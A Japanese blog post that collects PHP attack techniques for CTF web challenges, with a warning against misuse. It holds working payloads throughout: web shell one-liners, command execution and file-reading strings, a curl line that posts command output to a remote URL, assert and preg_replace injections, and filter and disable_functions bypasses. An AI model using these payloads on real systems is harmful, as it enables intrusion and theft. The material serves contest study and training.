はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるPHPまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の17日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

Webサーバのフロントエンド(最近はそうでもないか)、バックエンドとして普及しているPHPにはセキュリティ的課題が多い。

  • <?php eval($_POST['cmd']); ?>となりうるコードがあると危険
  • ワンライナー一覧
    • RCE passthru("cat /f*") system("ls -la ./"); <?='cat /flag'; <?=`$_GET[0]`; ?> <?php system($_GET["c"]); ?>
    • ls foreach(new DirectoryIterator('glob:///*') as $f){ echo $f."\n"; } print_r(scandir('./')); var_dump(scandir("/var/www/html")); scandir(__dir__) opendir() readdir()
    • cat readfile(glob('*')[0]); eval(system('cat / flag')); show_source('./flag.txt');
      • 試してない file_get_contents('f1@g.txt')
      • base64で出したい var_dump(base64_encode(readfile("../../../flag.so")));
      • includeで引っ張れたりもする include '/etc/f1@g.txt';
      • $process = proc_open('/flag_x', array(1=>array("pipe","w")), $pipes); echo stream_get_contents($pipes[1]);
    • 定義済み配列をすべて出す print_r(get_defined_vars())
    • ブラインドRCE $output=shell_exec(\"ls\");shell_exec(\"curl -XPOST -d'data=$output' [url]"\"); ここ
  • phpファイルを動かすには
  • artyuum/Simple-PHP-Web-Shell: Tiny PHP Web shell for executing unix commands from web page
    • 便利なWebShell
  • xorを使ったバイパス方法がある
    • eval("echo ".eval("return ".$_GET["calc"].";").";");
      • こういう感じで1回実行されて、さらに実行されれば使える
      • '^()が使えれば大体は作れる
    • ('??????'^'??????'^'??????')のように3つの文字列のxorで大体作れそう
    • CTF-Writeup/README.md at main · vichhika/CTF-Writeup
      • 良い感じのジェネレータを公開してくれてる
  • 4*4とか入れて16とか出てきたらプログラムとして解釈されている恐れがある
    • 試しにsystem(ls)とかを入れてみて、動くか見てみる
  • source
  • 画像ファイルのヘッダーを見てアップロード可能かを決めてる場合にヘッダーだけ付け替えてバイパスする
  • eval("echo 'Hello ".$a."<br>$flag';");で実行する
    • ',system('id'),'でidで普通に実行できる
    • ',('system')('id'),'こうしてもidが実行可能 ',('system')('id'+),'
    • ペイロード
      • ',('system')('ls+/'+),'
      • ',('system')('od+/*'+),'
  • 限られた文字でPHPコード実行をする
  • LFI: Local File Injection
    • 例えば?page=homeとか?page=ab.phpとかなっていれば、LFIが使える場合がある
    • PHP的には12($_GET['page']);のような感じになっている
    • LFIの詳細については、別途ページで記載予定。簡単に今は書いておく
  • include先でechoしているものはechoされた後のコードで得られる
    • echo $_GET['a']; include($_GET['b']);というindex.phpがあるとする。
    • /index.php?b=http://localhost/index.php/?a=%3C?system(%22ls%22);?%3EでRCE成立
  • Unsafe Deserialization
  • XXE
    • simplexml_load_string関数
  • SQL Injection
  • PHP Type Juggling
    • PHPの比較は弱いことが知られている
    • !strcasecmp($_POST['flag'], $flag), strcmp($_POST['password'], $password) == 0
      • 実はバイパス可能
      • $_POST['flag'] = []となるようにPOSTで与えてやれば、全体をtrueにすることができる
      • 配列を渡すにはflag%5B%5D=こんな感じにすればいい(flag[]=のURLエンコーディング後)
      • htmlでは<input type="hidden" name="flag[]" value=""/>こんな感じ
    • '1234a' == 1234は真となる
      • でもis_numeric('1234a')はしっかりfalseなので、is_numericのバイパスに使える
      • "1abc" == "0abc" + 1も真(!) ここ
    • magic hash
      • '0e????' = '0'が成り立つ。左辺はMD5ハッシュで出てくる可能性があるので、ハッシュを調整してこの状態を作る問題がある
        • ?には0-9が入る必要がある
      • この問題では、./flag.txt, .//flag.txt, .///flag.txtのようにスラッシュを増やしていっても問題ないことを利用してハッシュを変えて全探索していた
        • 881回スラッシュで出てきた
      • magic hash一覧 https://github.com/spaze/hashes
        • MD5 QNKCDZO 240610708
        • SHA256 34250003024812 aaroZmOk 0e9682187459792981
    • 0は000.0
  • parse_url関数
    • バージョンによってはhttp://websec.fr/level25/index.php?page=main&send=%E9%80%81%E4%BF%A1&a=1:2が失敗する
    • :が値に入っていると失敗する。失敗すると、戻り値がnullになる
  • $_SERVER['PHP_SELF']とbasename関数
    • Injection可能 $_SERVER['PHP_SELF']は危険? - [PHP + PHP] ぺんたん info
    • basename関数は、localeを適切に設定しないと、マルチバイト文字を無視する仕様になっている
      • より具体的には\x80-\xffを無視する?
    • 以下実験メモ
      • http://localhost/index.php/config.php
        • $_SERVER['PHP_SELF'] = /index.php/config.php
        • basename($_SERVER['PHP_SELF']) = config.php
      • http://localhost/index.php/config.php/a
        • $_SERVER['PHP_SELF'] = /index.php/config.php/a
        • basename($_SERVER['PHP_SELF']) = a
      • http://localhost/index.php/config.php/あ?source ※ %E3%81%82 = あ
        • $_SERVER['PHP_SELF'] = /index.php/config.php/あ
        • basename($_SERVER['PHP_SELF']) = config.php
  • $address = filter_var($address, FILTER_VALIDATE_EMAIL);でメールアドレスチェック
    • ""@a.bとすると通る
    • 例えば"'whoami'"@example.comとすると、whoamiが解釈されて"markus"@example.comとなったりする
    • '||1#@i.iもvalid(SQLinjectionで成功する)
    • RCEもある
      • "attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.coこんな感じ?ちょっと分からない
  • エラーについて
    • エラーを出したいとき(未検証)
      • error_reporting(E_ALL); ini_set('error_reporting', E_ALL); ini_set('display_errors', '1');
    • エラーを表示させない
      • ini_set("display_errors", 0);
  • GETリクエストの解釈違い
    • ?username=abc&username=efgとなった場合
      • $_GET["username"] -> efg
      • new URL(location).searchParams.get("username") -> abc
  • PHPでリダイレクトをしたらdie,exitを呼び出しなさい
  • PHPのgetパラメタ配列化Attack
    • CTFtime.org / Chujowy CTF 2020 / SHA256 Collision
      • https://web5.chujowyc.tf/?a[]=0&b[]=1で突破可能
      • $ha = hash("sha256", $_GET['a']); // $ha === null
      • $_GET['a'] !== $_GET['b']のように配列の===比較では中身までちゃんと見てくれる
  • .user.ini
  • ob_start関数
    • バッファを一旦保持しておいて、決まったタイミングでflushする機構
    • ob_startで保持されたバッファは、fatal errorが発生すれば強制的にflushされたりする
      • CTFtime.org / 3kCTF-2020 / xsser
      • この問題では、unserialize関数でO:11:"Traversable":0:{}を入れてfatal errorを起こしていた
        • Traversableクラスは抽象クラスなので、抽象クラスを作ろうとしてfatal errorが出てくる
  • is_numeric
    • 数値の前に%09, %20,%0a,%0b,%0c,%0dが来てもtrueになる
    • trueになるやつ 1e9
  • preg_replace関数/str_replace
    • 1回しかreplaceしないので、selSELECTectみたいにすればバイパスされてしまう
    • preg_replaceに任意入力できる場合はRCEの危険性がある
      • Command Execution | preg_replace() | RCE | Roshan Cheriyan | Medium | Medium
        • echo "replaced : ".preg_replace($_GET['pattern'], $_GET['replacement'], $_GET['subject']);となってる場合
        • index.php?pat=/a/e&rep=phpinfo();&sub=abcとやればphpinfo();が実行される
        • index.php?pat=/a/e&rep=system(‘id’);&sub=abc
          • 平たく言うとpreg_replace("/a/e", "system(‘id’);", "abc");となる
        • 緩和策も書いてある
  • md5関数の誤用
  • $_SERVER['HTTP_X_FORWARDED_FOR']
    • リクエストHTTPのヘッダーで外部から自由にインジェクション可能
    • X-Forwarded-Forヘッダーで入れればいい
  • time()
    • Unixタイムスタンプを返すので、類推可能
    • 例えば、2020/11/18 20:54:21(JST)なら$time = (new DateTime('2020-11-18 20:54:21', new DateTimeZone('Asia/Tokyo')))->format('U');Unixタイムスタンプが得られる
    • ID推測とかで使用するときは、Burpに残ってる時間ピッタリだけでなく、周りの時間が使われている可能性も考えること(秒単位でクライアント・サーバが一致していないかも)
    • CTFtime.org / SPbCTF's Student CTF 2020 Quals / eSick
      • この問題では、timeとuuidからファイル名を類推するが、timeがどれかが微妙にわからないので候補を全部作って、BurpのIntruderを使ってヒットするものがないか探す
  • mysqli_real_escape_string
  • バイパステク:他の入力を持ってくる
  • 攻撃コードに書いてあったコードについて
    • error_reporting(0); エラーを出さない
    • set_time_limit(0); 実行時間を無限にする
      • 設定は上書きされるっぽいので、設定でなんとかするのは難しそう
  • バッファを使い切ってHeader出力を抑制するテク
    • Write-ups to justCTF [*] 2020 by @terjanq - HackMD
    • PHPではheader出力の前に画面出力をしてはならないのだが、バッファ機能が有効である場合、画面出力のあとにheader出力をしてもバッファしてあれば差し込むことができる
    • だが、header出力をして差し込む前に、バッファのサイズ上限まで出力されていた場合は容量不足で差し込むことができず、headerが消滅する
    • このwriteupでは、それを利用してCSPヘッダーを差し込ませないようにしている
    • バッファのサイズ上限まで出力させるには、エラーメッセージを用いている
  • $_SERVER
    • REQUEST_URI
      • ページにアクセスするために指定されたURIを指すので、
      • GET http://localhost/test.php?query=value#fragment HTTP/1.1みたいにするとhttp://localhost/test.php?query=value#fragmentとなる
    • HTTP_HOST
      • リクエストにHostヘッダーがあった場合にそれが入る。偽装可能
  • GET Parameterのkeyにdot,spaceを入れると、underscoreに自動変換される
  • 古いPHPだと結構ヌルバイト攻撃が有効っぽい(未確定)
  • PHPトークン生成には単にCSPRING(暗号論的に安全な疑似乱数生成装置)を使うこと
    • ハッシュ化するとか余計なことをすることで脆弱性が入り込みやすくなる
    • PHP7以降ではrandom_bytes関数を使うだけ
    • mt_rand関数を引数無しで呼ぶと、31ビットの範囲になるからエントロピーが不足する(128bits以上がデファクトスタンダード
  • PHP assert() Vulnerable to Local File Inclusion – All things in moderation
    • assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
    • assert("strpos('', 'qwer') === false && strlen(file_get_contents(“../../../../../etc/passwd”)) == 0 && strpos(‘1', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
      • $file = ', 'qwer') === false && strlen(file_get_contents(“../../../../../etc/passwd”)) == 0 && strpos(‘1をやった結果
    • NahamCon CTF 2021 - Capture The Flag (CTF)
      • assert("strpos('$file', '..') === false") or die("HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE");' .system("id"). 'を入れる
  • .phpsPHPソースコードファイルとして使える拡張子
  • open_basedirのバイパス手法
  • new finfo(1, '.');とやればとあるディレクトリ下のファイルを無理やり読み込ませて、エラー情報から内容を得ることができる
    • Securinets CTF Quals 2021 の writeup - st98 の日記帳
    • finfo __constructでmagic_fileというオプションがmagic database fileを取得するために、特定のディレクトリにあるすべてのファイルを解析してくるようだ。ここmagic_fileオプション別のパスを与えると解析してくるファイルのフォーマットが合わず、警告を使用してファイルの内容を出力してくれるようだ。ちなみにfinfo classはfinfo関数のオブジェクト
      • まあ実行すると、全部解析してくれて、フォーマットが合わないから警告が出るけど、そこに情報が出ちゃうからファイルパスが抜けるんだろう
  • $_REQUEST$_GET,$_POST,$_COOKIEの内容をまとめた連想配列
    • こういういろんな所からデータ取れるものは意図せずデータインジェクションが発生しうるので使うのはやめといたほうがいい
  • idn_to_ascii
  • create_function関数
  • mail関数を使ったbypassテク
  • glob関数は先頭がドットのファイルは取ってこないので、foreach (glob("temp/$dname/*") as $file) { @unlink($file); }こういうので削除を回避できる
  • @rmdir("temp/$dname");は中身に何か残ってたら失敗する
  • @move_uploaded_file関数は引数のパスが長いと失敗する。300文字くらいで失敗するらしい
  • FFIについて
    • PHPからdllファイルを読み込んで実行できる機構
    • $ffi = FFI::load('/flag.h');$a = $ffi->flag_fUn3t1on_fFi();var_dump(FFI::string($a));みたいな感じ
    • メモリ抜き出しも行える
    • FFIでRCEしたいとき(PHP 7.4.X以下ならFFIを経由することでdisable_functionsをbypassできる) <?php $ffi=FFI::cdef("int system(const char *command);"); $ffi->system('ls'); ?>
  • OPcache
    • PHPのキャッシュ機構
    • 攻撃手法
      1. phpinfoを見て、opcacheが有効か確認
      2. opcache.file_cache = /var/www/cache/ならば/var/www/cache/[system_id]/var/www/html/flag.php.binを探せばいい。
      3. これのsystem_id_scraper.pyを使ってsystem_idを抜き出す python ./system_id_scraper.py http://carthagods.3k.ctf.to:8039/info.php
    • CTFtime.org / 3kCTF-2020 / carthagods
  • Phar, PHPアーカイブ

phpinfo

  • 見方
    • System: OSがWindowsLinux
    • Registered PHP Streams, Registered Stream Filters: 使えるストリームが分かる(php://とか)
    • extension_dir: php拡張モジュールのパス(いつ使う?)
    • short_open_tag: <?=,<? echo,<? ?>が使えるかどうか
    • disable_functions: 使えない関数が列挙されている
    • disable_classes: 使えないクラスが列挙されている
      • これをもとに使える関数・クラスを得たい場合は手元で全部使える状態で使えるやつを抜き出してdiffを見ればいい ```php <?php function get_diff($a, $b) { $a = file_get_contents($a); $a = str_replace(' ', '', $a); $a = explode(',', $a);

        return implode(', ', array_diff($b, $a)) . "\n"; }

      echo "functions: " . get_diff('disable_functions.txt', get_defined_functions()['internal']); echo "classes: " . get_diff('disable_classes.txt', get_declared_classes()); ```

    • open_basedir
      • ここにフォルダパスが書かれている場合は、ファイルオープンはこのパス以下じゃないとダメ。
      • でも、DirectoryIteratorを使えば任意の場所のlsができる。
      • FFI::loadもこれの影響を受けない。
    • SERVER_ADDR: サーバのIPアドレス
    • DOCUMENT_ROOT: ルートディレクト
      • linuxなら/var/www/htmlが普通?
    • session: セッションの設定が見られる(todo: 観点は?)
      • セッションが保存されている場所や使用可能な場所を確認することができる
    • gopher: これがあればSSRFできるかも
    • fastcgiが有効になってればRCEとかできたりする(todo: どうやって確認?)
    • allow_url_include: 有効ならLFIできる?(よくわかってない)
    • allow_url_fopen: 有効ならLFIできる?(よくわかってない)
      • urlで外部ファイルをfopenできるってだけ?
      • REMOTE FILE INCLUSIONというらしい
    • asp_tags: aspタグを解析するために有効になっている
    • magic_quotes_gpc: adslashes() のような文字をエスケープ
    • libxml 2.9 より前のバージョンでは、外部エンティティへの参照をデフォルトでサポートしていたため、XXEできる
    • opcacheはPHPコードをコンパイルしてキャッシュしておくもの
    • imapが有効なら、CVE-2018-19518かも
    • upload_tmp_dir: 一時ファイルが保存されているフォルダが表示されますが、ファイル名はランダム
  • 参考
  • php.iniのスキャナー

PHP難読化

  • YAK Pro
<?php
goto IF8nM; xf_W1: FNJF5: goto C3HKQ; FwMGj: echo $GPDVR; goto Caizj; rOdKz: r9mi3: goto EDaji;

こんな感じになる。根性で解読する。